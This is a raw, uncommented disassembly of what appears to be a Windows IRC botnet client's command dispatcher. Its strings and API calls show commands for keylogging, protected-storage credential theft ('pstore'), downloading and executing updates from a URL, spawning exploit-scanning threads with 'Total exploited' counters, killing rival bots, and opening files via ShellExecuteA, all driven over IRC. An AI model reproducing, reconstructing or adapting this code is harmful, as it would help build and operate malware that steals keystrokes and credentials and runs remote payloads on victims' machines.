test rax, rax
je 0x140008c96
mov r8, qword [r15]
test r8, r8
je 0x140008c96
lea rdx, [rbp + 0x470]
mov rcx, r12
call fcn.14000103c
dec r14d
sub r15, 8
test r14d, r14d
jg 0x140008c55
movzx r10d, byte [0x14007a2a8]
mov eax, 1
mov r14d, dword [rsp + 0x6c]
jmp 0x14000897a
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
shl ecx, 5
sub r8d, ecx
add r8b, 0x20
mov byte [rsp + 0x68], r8b
mov byte [rsp + 0x69], 0
lea rcx, [rbp + 0x470]
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x140008cf5
xor ecx, ecx
add eax, 6
mov qword [rbp + 0x470], rcx
mov rdx, rbx
mov dword [rbp + 0x478], ecx
lea rcx, [rbp + 0x470]
movsxd r8, eax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea r8, [rsp + 0x68]
mov rcx, r12
lea rdx, [rbp + 0x470]
call fcn.14000103c
lea rdx, str._chr_
mov rcx, r12
call sub.VCRUNTIME140.dll_strstr
test rax, rax
jne 0x140008a90
mov r8d, 0x1ff
lea rcx, [rbp + 0x830]
mov rdx, r12
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov r8d, 0x1ff
lea rdx, [rbp + 0x830]
lea rcx, [rbp + 0xa30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rdx, [0x140016dcc]
lea rcx, [rbp + 0xa30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov qword [rbp + 0x370], rax
mov ebx, 1
mov r14d, 0x20
nop word [rax + rax]
lea rdx, [0x140016dcc]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov qword [rbp + rbx*8 + 0x370], rax
inc rbx
cmp rbx, r14
jl 0x140008db0
mov r12d, dword [rsp + 0x64]
mov rbx, qword [rbp + r12*8 + 0x370]
test rbx, rbx
je 0x140007c9f
add rbx, 3
mov qword [rbp + r12*8 + 0x370], rbx
mov r13, qword [rbp + 0x378]
jmp 0x140008e05
mov r12d, dword [rsp + 0x64]
mov r15d, 8
mov rcx, rdi
lea rdx, str.rndnick
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140008e24
cmp rcx, r15
jne 0x140008e10
jmp 0x140008e49
mov ecx, WSAStartup
mov eax, 0x6e
cmp cl, byte [rbx]
jne 0x140008f2c
cmp al, byte [rbx + 1]
jne 0x140008f2c
cmp dil, byte [rbx + 2]
jne 0x140008f2c
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
lea rcx, [rbp + 0x498]
add r8d, 0x61
mov dword [rbp - 0x5c], r8d
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140008e93
lea r8, [rbp - 0x5c]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140008eb0
sub r15, 1
jne 0x140008e60
xor edx, edx
lea rcx, [rbp + 0xc0]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x498]
lea rdx, str.NICK__s_r_n
lea rcx, [rbp + 0xc0]
call fcn.140001393
lea rax, [rbp + 0xc0]
nop dword [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140008f00
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp + 0xc0]
mov r8, rsi
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rcx, rdi
lea rdx, [0x140016fbc]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140008f55
cmp rcx, 4
jne 0x140008f40
jmp 0x140008f64
mov eax, 0x64
cmp al, byte [rbx]
jne 0x140008f98
cmp dil, byte [rbx + 1]
jne 0x140008f98
lea rcx, [0x140016ebc]
nop dword [rax + rax]
movzx eax, byte [rcx + rdi]
inc rdi
cmp al, byte [rdi + r13 - 1]
jne 0x140008f8f
cmp rdi, 4
jne 0x140008f70
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rdi
lea rdx, str.logout
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140008fb7
cmp rcx, 7
jne 0x140008fa2
jmp 0x140008fdc
mov ecx, 0x6c
mov eax, WSAStartup
cmp cl, byte [rbx]
jne 0x1400090d3
cmp al, byte [rbx + 1]
jne 0x1400090d3
cmp dil, byte [rbx + 2]
jne 0x1400090d3
mov r10, qword [rsp + 0x78]
mov rbx, qword [rbp + 0x370]
mov rax, r10
mov r8, rbx
sub r8, r10
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140009004
inc rax
test ecx, ecx
jne 0x140008ff1
mov rdi, qword [rbp + 0x380]
test edx, edx
jne 0x140009057
mov byte [r10], dl
lea r8, [rbp + 0x480]
lea rdx, str.User__s_logged_out_r_n
lea rcx, [rbp + 0x4b0]
call fcn.140001393
mov r14d, dword [rsp + 0x60]
mov r13d, dword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
test r14d, r14d
jne 0x140009066
mov r9d, r13d
lea r8, [rbp + 0x4b0]
mov rdx, rdi
mov rcx, rsi
call fcn.14000115e
jmp 0x140009066
mov rsi, qword [rsp + 0x58]
mov r13d, dword [rsp + 0x50]
mov r14d, dword [rsp + 0x60]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rbx, rdx
movzx r8d, byte [rax]
movzx ecx, byte [rax + rbx]
sub r8d, ecx
jne 0x140009084
inc rax
test ecx, ecx
jne 0x140009070
test r8d, r8d
jne 0x14000940b
mov byte [rdx], r8b
lea rcx, [rbp + 0x4b0]
lea r8, [rbp + 0x480]
lea rdx, str.User__s_logged_out_r_n
call fcn.140001393
test r14d, r14d
jne 0x14000940b
mov r9d, r13d
lea r8, [rbp + 0x4b0]
mov rdx, rdi
mov rcx, rsi
call fcn.14000115e
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rcx, rdi
lea rdx, str.pstore
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140009128
cmp rcx, 7
jne 0x1400090e0
mov qword [rsp + 0x28], rdi
lea r8, [0x140001127]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, str.Executing_pstore:
lea rcx, [rbp + 0x4b0]
call fcn.140001393
jmp 0x1400098d1
mov rcx, rdi
lea rdx, str.version
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140009146
cmp rcx, r15
jne 0x140009132
jmp 0x140009163
mov rcx, rdi
lea rdx, [0x140017014]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x14000917b
cmp rcx, 4
jne 0x140009150
lea rdx, str._.null._:__Version_2.1.2_
lea rcx, [rbp + 0x4b0]
call fcn.140001393
jmp 0x1400098d1
mov rdx, rbx
lea rcx, str.reconnect
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000a3de
mov eax, WSAStartup
cmp al, byte [rbx]
jne 0x1400091a5
cmp dil, byte [rbx + 1]
je 0x14000a3de
mov rdx, rbx
lea rcx, str.disconnect
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000a3c6
mov r8d, 0x64
cmp r8b, byte [rbx]
jne 0x1400091d1
cmp dil, byte [rbx + 1]
je 0x14000a3c6
mov rcx, rdi
lea rdx, str.quit
mov r9d, 5
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400091f5
cmp rcx, r9
jne 0x1400091e1
jmp 0x140009204
mov eax, WSAStartup
cmp al, byte [rbx]
jne 0x140009263
cmp dil, byte [rbx + 1]
jne 0x140009263
mov eax, r12d
mov rdx, qword [rbp + rax*8 + 0x378]
test rdx, rdx
jne 0x14000922f
mov rcx, qword [rsp + 0x58]
lea rdx, str.QUIT_:Client_exiting_r_n
call fcn.14000100a
mov eax, 0xfffffffe
jmp 0x140007ca4
mov rax, qword [rbp - 0x68]
test rax, rax
je 0x140009259
mov rcx, rax
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140009259
mov rcx, qword [rsp + 0x58]
lea rdx, str.QUIT_:_s_r_n
mov r8, rax
call fcn.140001271
mov eax, 0xfffffffe
jmp 0x140007ca4
mov eax, 0x69
cmp al, byte [rbx]
jne 0x14000928e
cmp r8b, byte [rbx + 1]
jne 0x140009278
cmp dil, byte [rbx + 2]
je 0x140009282
cmp al, byte [rbx]
jne 0x14000928e
cmp dil, byte [rbx + 1]
jne 0x14000928e
lea r8, str.null
jmp 0x140009ca7
mov rcx, rdi
lea rdx, str.threads
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400092b4
cmp rcx, r15
jne 0x1400092a0
jmp 0x1400092cd
mov r13d, reloc.WS2_32.dll_WSACleanup
cmp r13b, byte [rbx]
jne 0x140009416
cmp dil, byte [rbx + 1]
jne 0x140009416
mov r8, qword [rbp + 0x380]
lea rcx, [rbp + 0x738]
mov edx, 0x80
call fcn.14000123f
mov rcx, qword [rsp + 0x58]
mov r13d, dword [rsp + 0x50]
mov eax, r12d
mov qword [rbp + 0x730], rcx
mov ecx, dword [rsp + 0x60]
mov dword [rbp + 0x7c0], r13d
mov rdx, qword [rbp + rax*8 + 0x378]
mov dword [rbp + 0x7c4], ecx
test rdx, rdx
je 0x140009347
mov rax, rdi
lea r8, [0x1400170bc]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x14000933a
cmp rax, 4
jne 0x140009321
cmp cl, byte [r8 + rax - 1]
mov eax, edi
sete al
mov dword [rbp + 0x7bc], eax
jmp 0x14000934d
mov dword [rbp + 0x7bc], edi
lea rdx, str.threads:_list_threads.
lea rcx, [rbp + 0x4b0]
call fcn.140001393
xor r8d, r8d
lea rcx, [rbp + 0x4b0]
mov edx, 5
call fcn.1400013c0
mov dword [rbp + 0x7b8], eax
lea r9, [rbp + 0x730]
lea rax, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r8, [0x14000114f]
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x7b8]
imul rdx, rcx, 0x248
lea rcx, [0x140000000]
mov qword [rdx + rcx + 0x1dd40], rax
test rax, rax
je 0x1400093ef
cmp dword [rbp + 0x7c8], 0
jne 0x14000940b
nop dword [rax + rax]
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x7c8], 0
je 0x1400093d0
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.threads:_failed_to_start_list_thread__error:___d_.
lea rcx, [rbp + 0x4b0]
call fcn.140001393
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rcx, rdi
lea rdx, str.remove
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140009435
cmp rcx, 7
jne 0x140009420
jmp 0x14000944e
mov eax, WSAStartup
cmp al, byte [rbx]
jne 0x140009486
mov eax, 0x6d
cmp al, byte [rbx + 1]
jne 0x140009486
cmp dil, byte [rbx + 2]
jne 0x140009486
cmp dword [rsp + 0x60], 0
jne 0x140009472
mov r9d, dword [rsp + 0x50]
lea r8, str.Removing_bot..
mov rdx, qword [rbp + 0x380]
mov rcx, qword [rsp + 0x58]
call fcn.14000115e
call fcn.1400010e6
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, rbx
lea rcx, str.scanstats
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140009563
mov eax, r12d
mov rcx, qword [rbp + rax*8 + 0x378]
test rcx, rcx
je 0x1400094bb
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
cmp dword [0x14001d900], eax
jl 0x1400094e0
mov r9d, dword [0x14001d900]
lea rdx, str.Main____Total_exploited__d.
movsxd r8, r14d
lea rcx, [rbp + 0x4b0]
mov r8, qword [rbp + r8*8 + 0x370]
call fcn.140001393
mov esi, dword [rsp + 0x60]
mov rbx, qword [rbp + 0x380]
mov r13d, dword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
test esi, esi
jne 0x14000950e
mov r9d, r13d
lea r8, [rbp + 0x4b0]
mov rdx, rbx
mov rcx, rdi
call fcn.14000115e
inc dword [0x14001d900]
cmp byte [0x14001d904], 0
je 0x14000953b
movsxd r8, r14d
lea rdx, str.Main____Transfer_completed_to_host.
lea rcx, [rbp + 0x4b0]
mov r8, qword [rbp + r8*8 + 0x370]
call fcn.140001393
test esi, esi
jne 0x14000940b
mov r9d, r13d
lea r8, [rbp + 0x4b0]
mov rdx, rbx
mov rcx, rdi
call fcn.14000115e
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rdx, rbx
lea rcx, str.cscanstop
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140009593
mov rcx, rdi
lea rdx, str.cstop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400095e3
cmp rcx, 6
jne 0x140009580
mov r9d, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rbp + 0x380]
mov eax, r12d
mov rcx, qword [rbp + rax*8 + 0x378]
lea rax, str.Scan
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x30], 2
mov qword [rsp + 0x28], rax
lea rax, str._.12Scan._
mov qword [rsp + 0x20], rax
call fcn.140001145
jmp 0x140007c9f
mov eax, r12d
mov r15, qword [rbp + rax*8 + 0x378]
mov qword [rbp - 0x70], r15
test r15, r15
je 0x140007c9f
mov rcx, rdi
lea rdx, str.nick
mov r8d, 5
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140009624
cmp rcx, r8
jne 0x140009610
jmp 0x140009633
mov eax, 0x6e
cmp al, byte [rbx]
jne 0x140009652
cmp dil, byte [rbx + 1]
jne 0x140009652
mov rcx, qword [rsp + 0x58]
lea rdx, str.NICK__s_r_n
mov r8, r15
call fcn.140001271
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rcx, rdi
lea rdx, str.join
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140009674
cmp rcx, r8
jne 0x140009660
jmp 0x140009683
mov eax, 0x6a
cmp al, byte [rbx]
jne 0x1400096ad
cmp dil, byte [rbx + 1]
jne 0x1400096ad
mov rcx, qword [rsp + 0x58]
lea rdx, str.JOIN__s__s_r_n
mov r9d, r12d
mov r8, r15
mov r9, qword [rbp + r9*8 + 0x380]
call fcn.1400013f2
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rcx, rdi
lea rdx, str.part
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400096f1
cmp rcx, r8
jne 0x1400096c0
mov rcx, qword [rsp + 0x58]
lea rdx, str.PART__s_r_n
mov r8, r15
call fcn.140001271
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov eax, WSAStartup
cmp al, byte [rbx]
jne 0x140009725
cmp r13b, byte [rbx + 1]
jne 0x140009725
cmp dil, byte [rbx + 2]
jne 0x140009725
mov rcx, qword [rsp + 0x58]
lea rdx, str.PART__s_r_n
mov r8, r15
call fcn.140001271
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rcx, rdi
lea rdx, [0x1400171fc]
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140009745
cmp rcx, 4
jne 0x140009730
jmp 0x140009754
mov eax, WSAStartup
cmp al, byte [rbx]
jne 0x14000978d
cmp dil, byte [rbx + 1]
jne 0x14000978d
mov rax, qword [rbp - 0x68]
test rax, rax
je 0x14000940b
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x14000940b
mov rcx, qword [rsp + 0x58]
mov rdx, rax
call fcn.14000100a
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rdx, rbx
lea rcx, str.killthread
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000a2e0
mov eax, 0x6b
cmp al, byte [rbx]
jne 0x1400097b7
cmp dil, byte [rbx + 1]
je 0x14000a2e0
mov rcx, rdi
lea rdx, str.open
mov r8d, 5
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400097e4
cmp rcx, r8
jne 0x1400097d0
jmp 0x1400097f3
mov eax, WSAStartup
cmp al, byte [rbx]
jne 0x14000985a
cmp dil, byte [rbx + 1]
jne 0x14000985a
mov dword [rsp + 0x28], r8d
xor r9d, r9d
mov r8, r15
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp dword [rsp + 0x60], 0
jne 0x14000940b
mov r9d, dword [rsp + 0x50]
mov rdx, qword [rbp + 0x380]
mov rcx, qword [rsp + 0x58]
test rax, rax
je 0x140009843
lea r8, str.File_opened.
call fcn.14000115e
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
lea r8, str.Couldnt_open_file.
call fcn.14000115e
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rcx, rdi
lea rdx, str.bkill
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x14000988c
cmp rcx, 6
jne 0x140009870
lea rdx, str.Main____Bot_killer_done.
jmp 0x1400098ba
mov rcx, rdi
lea rdx, str.keylog
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400098e1
cmp rcx, 7
jne 0x1400098a0
lea rdx, str.Main____Keylogger_started.
movsxd r8, r14d
lea rcx, [rbp + 0x4b0]
mov r8, qword [rbp + r8*8 + 0x370]
call fcn.140001393
cmp dword [rsp + 0x60], 0
jne 0x14000940b
jmp 0x140009ca0
mov rcx, rdi
lea rdx, str.dltest
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140009905
cmp rcx, 7
jne 0x1400098f0
jmp 0x140009924
mov rcx, rdi
lea r8, [0x140017340]
nop
movzx eax, byte [r8 + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x14000999a
cmp rcx, 4
jne 0x140009910
lea rdx, [0x140016dcc]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
lea rdx, [0x140016dcc]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov eax, dword [str.winsp3]
lea rcx, [0x140064fe0]
mov dword [0x140064fe0], eax
dec rcx
movzx eax, word [0x140017348]
mov word [0x140064fe4], ax
movzx eax, byte [0x14001734a]
mov byte [0x140064fe6], al
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140009973
mov eax, dword [str..exe]
mov dword [rcx], eax
movzx eax, byte [0x140017350]
mov byte [rcx + 4], al
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rcx, rdi
lea rdx, str.server
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400099c5
cmp rcx, 7
jne 0x1400099b0
jmp 0x1400099de
mov eax, reloc.WS2_32.dll_WSAStartup
cmp al, byte [rbx]
jne 0x1400099fc
mov eax, 0x65
cmp al, byte [rbx + 1]
jne 0x1400099fc
cmp dil, byte [rbx + 2]
jne 0x1400099fc
mov rcx, qword [rbp - 0x58]
mov r8d, 0x7f
mov rdx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov eax, r12d
mov r14, qword [rbp + rax*8 + 0x380]
test r14, r14
je 0x140007c9f
mov rcx, rdi
lea rdx, str.update
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140009a35
cmp rcx, 7
jne 0x140009a20
jmp 0x140009a5a
mov eax, 0x75
cmp al, byte [rbx]
jne 0x140009bd1
mov eax, WSAStartup
cmp al, byte [rbx + 1]
jne 0x140009bd1
cmp dil, byte [rbx + 2]
jne 0x140009bd1
lea rax, str.null
sub r14, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r14]
sub edx, ecx
jne 0x140009a77
inc rax
test ecx, ecx
jne 0x140009a64
test edx, edx
je 0x140007c9f
lea r9, [rbp + 0x498]
lea r8, [0x14006a1c0]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x1c0]
call fcn.140001393
mov r8d, 0xff
lea rcx, [rbp + 0xc0]
mov rdx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov rbx, qword [rbp + 0x380]
lea rcx, [rbp + 0x2c0]
mov rsi, qword [rsp + 0x58]
mov rdx, rbx
mov r8d, 0x7f
mov dword [rbp + 0x348], edi
mov qword [rbp + 0x340], rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea r8, [rbp + 0xc0]
lea rdx, str.update___s_
lea rcx, [rbp + 0x4b0]
call fcn.140001393
mov r8, rsi
lea rcx, [rbp + 0x4b0]
mov edx, 4
call fcn.1400013c0
mov r14d, dword [rsp + 0x60]
lea r9, [rbp + 0xc0]
mov dword [rbp + 0x34c], eax
lea r8, [0x14000144c]
mov eax, 1
mov dword [rbp + 0x354], r14d
mov dword [rbp + 0x350], eax
xor edx, edx
lea rax, [rsp + 0x70]
xor ecx, ecx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x34c]
lea rdx, str.downloading_update_from__s..._r_n
imul r8, rcx, 0x248
lea rcx, [0x140000000]
mov qword [r8 + rcx + 0x1dd40], rax
mov r8, r15
lea rcx, [rbp + 0x4b0]
call fcn.140001393
test r14d, r14d
jne 0x140009ba5
mov r9d, dword [rsp + 0x50]
lea r8, [rbp + 0x4b0]
mov rdx, rbx
mov rcx, rsi
call fcn.14000115e
cmp dword [rbp + 0x35c], 1
je 0x14000940b
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x35c], 1
jne 0x140009bb2
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov eax, r12d
mov r13, qword [rbp + rax*8 + 0x388]
test r13, r13
je 0x140007c9f
mov rdx, rbx
lea rcx, str.download
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000a195
mov eax, 0x64
cmp al, byte [rbx]
jne 0x140009c19
mov eax, 0x6c
cmp al, byte [rbx + 1]
jne 0x140009c19
cmp dil, byte [rbx + 2]
je 0x14000a195
mov eax, r12d
mov r15, qword [rbp + rax*8 + 0x390]
test r15, r15
je 0x140007c9f
mov rcx, rdi
lea rdx, str.cscan
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140009c55
cmp rcx, 6
jne 0x140009c40
jmp 0x140009c6c
mov rdx, rbx
lea rcx, str.cscanner
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x14000940b
mov ecx, 2
call fcn.14000112c
mov rcx, r14
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add eax, ebx
cmp eax, 0xc8
jle 0x140009cc8
mov r8d, ebx
lea rdx, str._sc_:_Already__d_scanning_threads._Too_many_specified.
lea rcx, [rbp + 0x4b0]
call fcn.140001393
lea r8, [rbp + 0x4b0]
mov r9d, dword [rsp + 0x50]
mov rdx, qword [rbp + 0x380]
mov rcx, qword [rsp + 0x58]
call fcn.14000115e
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rcx, r14
mov word [rbp + 0x1d8], ax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rcx, r13
mov dword [rbp + 0x1f0], eax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, 0x3c
mov r9d, 5
cmp eax, 3
cmovb eax, r9d
cmp eax, ecx
cmova eax, ecx
mov rcx, r15
mov dword [rbp + 0x1dc], eax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, 0x270f
mov dword [rbp + 0x1f4], esi
cmp eax, ecx
mov r11d, edi
cmova eax, ecx
cmp word [0x14001b95e], 0
mov dword [rbp + 0x1e0], eax
je 0x140009dbe
mov eax, r12d
lea r10, [0x14001b95e]
lea rsi, [0x140000000]
mov rbx, qword [rbp + rax*8 + 0x378]
nop word [rax + rax]
movsxd r9, r11d
lea rax, [rsi + 0x1b930]
shl r9, 6
mov r8, rbx
add rax, r9
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140009d93
inc rax
test ecx, ecx
jne 0x140009d80
test edx, edx
je 0x140009da7
add r10, 0x40
inc r11d
cmp word [r10], 0
jne 0x140009d60
jmp 0x140009dbe
movzx eax, word [r9 + rsi + 0x1b95e]
mov word [rbp + 0x1d8], ax
mov dword [rbp + 0x1f4], r11d
cmp word [rbp + 0x1d8], 0
jne 0x140009e08
lea rdx, [0x140017448]
lea rcx, [rbp + 0x4b0]
call fcn.140001393
cmp dword [rsp + 0x60], 0
jne 0x140007c9f
mov r9d, dword [rsp + 0x50]
lea r8, [rbp + 0x4b0]
mov rdx, qword [rbp + 0x380]
mov rcx, qword [rsp + 0x58]
call fcn.14000115e
jmp 0x140007c9f
mov eax, r12d
mov rsi, qword [rbp + rax*8 + 0x398]
test rsi, rsi
je 0x140009e51
cmp byte [rsi], 0x23
je 0x140009e51
mov r8, rsi
lea rcx, [rbp + 0xc0]
mov edx, reloc.WS2_32.dll_recv
call fcn.14000123f
mov edx, 0x78
mov rcx, rsi
call sub.VCRUNTIME140.dll_strchr
mov ecx, edi
test rax, rax
setne cl
mov dword [rbp + 0x204], ecx
jmp 0x140009fde
movzx r15d, byte [rbp + 0x791]
movzx r13d, byte [rbp + 0x7a2]
test r15b, r15b
jne 0x140009eba
cmp byte [rbp + 0x792], r15b
jne 0x140009eba
test r13b, r13b
jne 0x140009eba
lea rdx, [0x140017488]
lea rcx, [rbp + 0x4b0]
call fcn.140001393
cmp dword [rsp + 0x60], 0
jne 0x140009eab
mov r9d, dword [rsp + 0x50]
lea r8, [rbp + 0x4b0]
mov rdx, qword [rbp + 0x380]
mov rcx, qword [rsp + 0x58]
call fcn.14000115e
movzx eax, byte [rbp + 0x19]
mov byte [0x14001d904], al
jmp 0x140007c9f
cmp byte [rbp + 0x795], 0
mov r12d, 0xff
mov r14d, 0xffff
je 0x140009f23
mov rcx, qword [rbp + 0xb0]
call fcn.140001406
mov ecx, eax
mov ebx, eax
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0xc0]
mov rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov ecx, r14d
test r15b, r15b
cmovne ecx, r12d
and ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0xc0]
mov rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov rcx, qword [rsp + 0x58]
lea r8, [rsp + 0x74]
lea rdx, [rbp + 0xb0]
mov dword [rsp + 0x74], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [rbp + 0xb4]
test r15b, r15b
cmovne r14d, r12d
and ecx, r14d
mov dword [rbp + 0xb4], ecx
